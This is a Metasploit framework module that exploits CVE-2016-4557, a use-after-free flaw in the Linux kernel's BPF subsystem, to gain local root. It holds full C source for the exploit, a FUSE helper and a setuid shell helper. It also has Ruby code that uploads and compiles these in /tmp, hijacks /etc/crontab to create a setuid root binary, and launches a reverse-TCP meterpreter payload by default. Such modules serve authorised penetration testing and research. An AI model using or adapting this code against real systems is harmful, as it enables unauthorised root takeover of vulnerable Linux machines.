##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'Linux BPF Local Privilege Escalation',
        'Description'   => %q{
          Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
          sysctl is not set to 1, BPF can be abused to priv escalate.
          Ubuntu 16.04 has all of these conditions met.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'jannh@google.com',                    # discovery
            'h00die <mike@shorebreaksecurity.com>' # metasploit module
          ],
        'Platform'      => [ 'linux' ],
        'Arch'          => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'References'    =>
          [
            [ 'CVE', '2016-4557' ],
            [ 'EDB', '39772' ],
            [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
            [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/meterpreter/reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => 'May 04 2016',
        'Privileged'     => true
      }
      ))
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
      OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
    ]
  end

  def check
    def check_config_bpf_syscall?
      config = kernel_config

      if config.nil?
        vprint_error 'Could not retrieve kernel config'
        return
      end

      unless config.include? 'CONFIG_BPF_SYSCALL=y'
        vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
        return false
      end

      vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
      true
    end

    def check_kernel_disabled?
      if unprivileged_bpf_disabled?
        vprint_error 'Unprivileged BPF loading is not permitted'
        return false
      end

      vprint_good 'Unprivileged BPF loading is permitted'
      true
    end

    def check_fuse?()
      lib = cmd_exec('dpkg --get-selections | grep ^fuse')
      if lib.include?('install')
        vprint_good('fuse is installed')
        return true
      else
        print_error('fuse is not installed.  Exploitation will fail.')
        return false
      end
    end

    def mount_point_exists?()
      if directory?('/tmp/fuse_mount')
        print_error('/tmp/fuse_mount should be unmounted and deleted.  Exploitation will fail.')
        return false
      else
        vprint_good('/tmp/fuse_mount doesn\'t exist')
        return true
      end
    end

    if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit

    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>

      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      #endif

      int uaf_fd;

      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
          errx(1, "system() failed");
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
        if (fuse_fd == -1)
          err(1, "unable to open FUSE fd");
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
          errx(1, "unable to write to FUSE fd");
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
        if (iov_ == MAP_FAILED)
          err(1, "unable to mmap FUSE fd");
        fputs("starting writev\n", stderr);
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
        if (writev_res == -1)
          err(1, "writev failed");
        if (writev_res != strlen(data))
          errx(1, "writev returned %d", (int)writev_res);
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      void make_setuid(void) {
        /* step 1: open writable UAF fd */
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
        if (uaf_fd == -1)
          err(1, "unable to open UAF fd");
        /* refcount is now 1 */

        char child_stack[20000];
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
        if (child == -1)
          err(1, "clone");
        sleep(3);
        /* refcount is now 2 */

        /* step 2+3: use BPF to remove two references */
        for (int i=0; i<2; i++) {
          struct bpf_insn insns[2] = {
            {
              .code = BPF_LD | BPF_IMM | BPF_DW,
              .src_reg = BPF_PSEUDO_MAP_FD,
              .imm = uaf_fd
            },
            {
            }
          };
          union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
          };
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
          if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
        }
        /* refcount is now 0, the file is freed soon-ish */

        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
        int status;
        int hostnamefds[1000];
        int used_fds = 0;
        bool up = true;
        while (1) {
          if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
          if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
              err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            used_fds++;
            if (used_fds == 1000) up = false;
          } else {
            close(hostnamefds[--used_fds]);
            if (used_fds == 0) up = true;
          }
        }
        fputs("woohoo, got pointer reuse\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      int main(void) {
        pid_t child = fork();
        if (child == -1)
          err(1, "fork");
        if (child == 0)
          make_setuid();
        struct stat helperstat;
        while (1) {
          if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
          if (helperstat.st_mode & S_ISUID)
            break;
          sleep(1);
        }
        fputs("suid file detected, launching rootshell...\n", stderr);
        execl("./suidhelper", "suidhelper", NULL);
        err(1, "execl suidhelper");
      }
    }

    suid_helper = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }

    }

    hello = %q{
      /*
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>
        heavily modified by Jann Horn <jannh@google.com>

        This program can be distributed under the terms of the GNU GPL.
        See the file COPYING.

        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
      */

      #define FUSE_USE_VERSION 26

      #include <fuse.h>
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <err.h>
      #include <sys/uio.h>

      static const char *hello_path = "/hello";

      static char data_state[sizeof(struct iovec)];

      static int hello_getattr(const char *path, struct stat *stbuf)
      {
        int res = 0;
        memset(stbuf, 0, sizeof(struct stat));
        if (strcmp(path, "/") == 0) {
          stbuf->st_mode = S_IFDIR | 0755;
          stbuf->st_nlink = 2;
        } else if (strcmp(path, hello_path) == 0) {
          stbuf->st_mode = S_IFREG | 0666;
          stbuf->st_nlink = 1;
          stbuf->st_size = sizeof(data_state);
          stbuf->st_blocks = 0;
        } else
          res = -ENOENT;
        return res;
      }

      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
        filler(buf, ".", NULL, 0);
        filler(buf, "..", NULL, 0);
        filler(buf, hello_path + 1, NULL, 0);
        return 0;
      }

      static int hello_open(const char *path, struct fuse_file_info *fi) {
        return 0;
      }

      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        sleep(10);
        size_t len = sizeof(data_state);
        if (offset < len) {
          if (offset + size > len)
            size = len - offset;
          memcpy(buf, data_state + offset, size);
        } else
          size = 0;
        return size;
      }

      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        if (offset != 0)
          errx(1, "got write with nonzero offset");
        if (size != sizeof(data_state))
          errx(1, "got write with size %d", (int)size);
        memcpy(data_state + offset, buf, size);
        return size;
      }

      static struct fuse_operations hello_oper = {
        .getattr	= hello_getattr,
        .readdir	= hello_readdir,
        .open		= hello_open,
        .read		= hello_read,
        .write		= hello_write,
      };

      int main(int argc, char *argv[]) {
        return fuse_main(argc, argv, &hello_oper, NULL);
      }
    }

    hello_filename = 'hello'
    hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
    doubleput_file = "#{datastore['WritableDir']}/doubleput"
    suidhelper_filename = 'suidhelper'
    suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def has_prereqs?()
      def check_libfuse_dev?()
        lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
        if lib.include?('install')
          vprint_good('libfuse-dev is installed')
          return true
        else
          print_error('libfuse-dev is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
        else
          print_error('gcc is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_pkgconfig?()
        lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
        if lib.include?('install')
          vprint_good('pkg-config is installed')
          return true
        else
          print_error('pkg-config is not installed.  Exploitation will fail.')
          return false
        end
      end
      return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end

    if compile == false
      # doubleput file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
      fd = ::File.open( path, "rb")
      doubleput = fd.read(fd.stat.size)
      fd.close
      # hello file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
      fd = ::File.open( path, "rb")
      hello = fd.read(fd.stat.size)
      fd.close
      # suidhelper file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
      fd = ::File.open( path, "rb")
      suid_helper = fd.read(fd.stat.size)
      fd.close

      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'AyDJSaMM'
      payload_path = '/tmp/AyDJSaMM'
    end

    # make our substitutions so things are dynamic
    suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
                'exit(0);')
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")
    upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
    upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
    upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
    upload_and_compile('payload', payload_path, generate_payload_exe)

    print_status('Starting execution of priv esc.  This may take about 120 seconds')

    cmd_exec(doubleput_file)
    sec_waited = 0
    until sec_waited > datastore['MAXWAIT'] do
      Rex.sleep(1)
      # check file permissions
      if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
        print_good('got root, starting payload')
        print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
        print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
        print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
        cmd_exec("#{suidhelper_path}")
        return
      end
      sec_waited +=1
    end
  end

  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
    # [*] 192.168.199.130 - Meterpreter session 2 closed.  Reason: Died
    session.shell_command_token('/bin/bash')
    super
  end
end